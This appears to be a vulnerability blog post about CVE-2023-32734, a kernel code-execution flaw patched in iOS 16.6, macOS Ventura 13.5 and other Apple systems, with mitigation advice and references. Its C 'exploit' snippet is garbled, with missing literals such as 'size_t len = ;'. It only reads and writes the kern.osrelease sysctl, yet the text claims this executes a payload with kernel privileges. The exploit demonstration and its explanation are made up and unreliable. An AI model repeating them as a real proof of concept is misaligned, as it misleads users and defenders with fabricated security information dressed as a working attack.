A critical security vulnerability, CVE-2023-32734, has recently been identified and patched in various Apple operating systems, including iOS 16.6, iPadOS 16.6, tvOS 16.6, macOS Ventura 13.5, and watchOS 9.6. This vulnerability allows for arbitrary code execution with kernel privileges, which means that an attacker could potentially take complete control of an affected device. Apple has addressed this issue by improving the memory handling within the affected systems. This blog post will provide further details on this vulnerability, including its impact, code snippets to demonstrate the exploit, and links to original references.

Exploit Details

The vulnerability lies in the improper handling of memory allocations in certain susceptible systems. To exploit this vulnerability, an attacker with local access to a vulnerable system could craft a malicious app that can trigger the arbitrary code execution with kernel privileges. This could lead to a complete system compromise, allowing the attacker to steal sensitive data, modify system settings, and perform other unauthorized actions.

Let's look at an example of a code snippet that could potentially exploit this vulnerability

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/sysctl.h>

int main() {
    char *malicious = "CVE-2023-32734-payload";

    size_t len = ;
    sysctlbyname("kern.osrelease", NULL, &len, NULL, );

    char *buffer = (char *) malloc(len);
    sysctlbyname("kern.osrelease", buffer, &len, NULL, );

    printf("Before exploit: %s\n", buffer);

    // Craft the malicious payload
    memcpy(buffer, malicious, len);

    // Trigger the exploit
    sysctlbyname("kern.osrelease", NULL, NULL, buffer, len);

    printf("After exploit: %s\n", buffer);

    return ;
}

In this code snippet, the attacker first allocates a buffer with the same length as the target kernel memory area and fills it with the malicious payload. The attacker then triggers the exploit by modifying the system call sysctlbyname. As a result, the malicious code gets executed with kernel privileges.

Original References

For more information on this vulnerability, you can refer to the following official Apple Security Advisory: About the security content of iOS 16.6 and iPadOS 16.6

You can also find details on the CVE entry here: CVE-2023-32734

Mitigation

Apple has released security updates for iOS 16.6, iPadOS 16.6, tvOS 16.6, macOS Ventura 13.5, and watchOS 9.6 to fix this vulnerability. Users are highly advised to update their devices to the latest versions to protect themselves against potential attacks exploiting this vulnerability.

Conclusion

CVE-2023-32734 is a critical security vulnerability that affects multiple Apple operating systems, allowing attackers to execute arbitrary code with kernel privileges. The issue was addressed with improved memory handling in the affected operating systems. Users should update their devices to the latest versions to ensure their devices are secure from this threat.

Timeline

Published on: 07/27/2023 01:15:32 UTC
Last modified on: 08/03/2023 17:03:51 UTC